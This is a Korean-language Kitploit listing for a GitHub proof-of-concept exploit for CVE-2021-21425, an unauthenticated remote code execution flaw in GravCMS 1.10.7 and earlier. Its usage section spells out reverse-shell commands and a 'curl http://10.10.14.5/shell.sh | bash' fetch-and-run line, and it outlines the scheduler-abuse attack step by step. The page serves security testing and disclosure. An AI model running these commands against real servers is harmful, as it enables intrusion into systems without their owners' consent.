Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-21425 — CVE-2021-21425 - GravCMS 1.10.7 인증되지 않은 스케줄러를 통한 RCE. CLI 인수 및 자동 base64 인코딩으로 개선된 익스플로잇. | Kitploit
도구/GitHubGitHub/d4ytox/cve-2021-21425
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubd4ytox/cve-2021-21425

CVE-2021-21425

CVE-2021-21425 - GravCMS 1.10.7 인증되지 않은 스케줄러를 통한 RCE. CLI 인수 및 자동 base64 인코딩으로 개선된 익스플로잇.

저장소 보기
1111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-21425 - GravCMS 인증되지 않은 RCE

GravCMS <= 1.10.7에서 스케줄러에 임의의 YAML을 작성하여 발생하는 인증되지 않은 원격 코드 실행(Remote Code Execution) 취약점인 CVE-2021-21425에 대한 개선된 개념 증명(proof-of-concept)입니다.

크레딧

이것은 파생 작업입니다. 취약점과 원본 익스플로잇은 제 것이 아닙니다.

역할담당
취약점 발견Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — 2021년 3월
원본 PoC 제작"legend" — Exploit-DB EDB-49973
이 저장소의 수정d4ytox

이 버전에서 변경된 사항

원본 EDB-49973은 스크립트에 하드코딩된 값을 수동으로 편집해야 합니다. 이 버전은 다음을 추가합니다:

  • 대상, LHOST, LPORT에 대한 명령줄 인수
  • 리버스 셸 페이로드의 자동 base64 인코딩
  • 사용자 정의 명령 지원 (-c)
  • 오류 처리 및 상태 출력

이는 기존 익스플로잇에 대한 사용성 개선 사항입니다. 취약점 연구를 주장하지 않습니다.

취약점

필드값
CVECVE-2021-21425
EDB-ID49973
영향받는 버전GravCMS <= 1.10.7
유형인증되지 않은 RCE
CVSS9.8 (치명적)

Grav Admin 플러그인은 특정 관리자 경로에서 인증을 검증하지 않아, 인증되지 않은 사용자가 임의의 YAML 구성을 작성할 수 있습니다. 이 익스플로잇은 스케줄러 구성을 악용하여 임의의 PHP 코드를 실행하는 cron 작업을 생성합니다.

사용법

# 리버스 셸
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# 사용자 정의 명령
python3 exploit.py -t http://target -c "id"

예시

# 대상에서 리버스 셸 획득
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# 명령 실행
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

요구 사항

pip install requests

작동 방식

  1. /admin을 가져와 admin-nonce 토큰을 추출합니다 (취약점으로 인해 인증 불필요)
  2. 악성 cron 작업 구성을 포함하여 /admin/config/scheduler에 POST를 전송합니다
  3. 스케줄러가 /usr/bin/php -r eval(base64_decode(...))를 통해 PHP 페이로드를 실행합니다
  4. PHP가 base64 디코딩된 리버스 셸을 /tmp/rev.sh에 작성하고 실행합니다

cron 작업은 매분(* * * * *) 실행되므로 셸은 60초 이내에 도착합니다.

타임라인

  • 2021-03-18 - Mehmet Ince가 침투 테스트 중 취약점 발견
  • 2021-03-29 - 공개
  • 2021-04-01 - Grav Admin Plugin 1.10.8에서 패치됨

참고 자료

  • NVD 항목
  • GitHub 보안 권고 GHSA-6f53-6qgv-39pj
  • Mehmet Ince의 원본 분석 (Pentest Blog)
  • 원본 PoC - Exploit-DB EDB-49973

라이선스

MIT이며, 이 저장소의 수정 사항에만 적용됩니다. 업스트림 PoC는 라이선스가 없으므로 해당 작성자의 모든 권리가 유보됩니다. 전체 저작자 표시 고지는 LICENSE를 참조하세요.

면책 조항

승인된 보안 테스트 전용입니다. 모든 시스템에 대해 테스트하기 전에 서면 허가를 받았는지 확인하세요.

도구 다운로드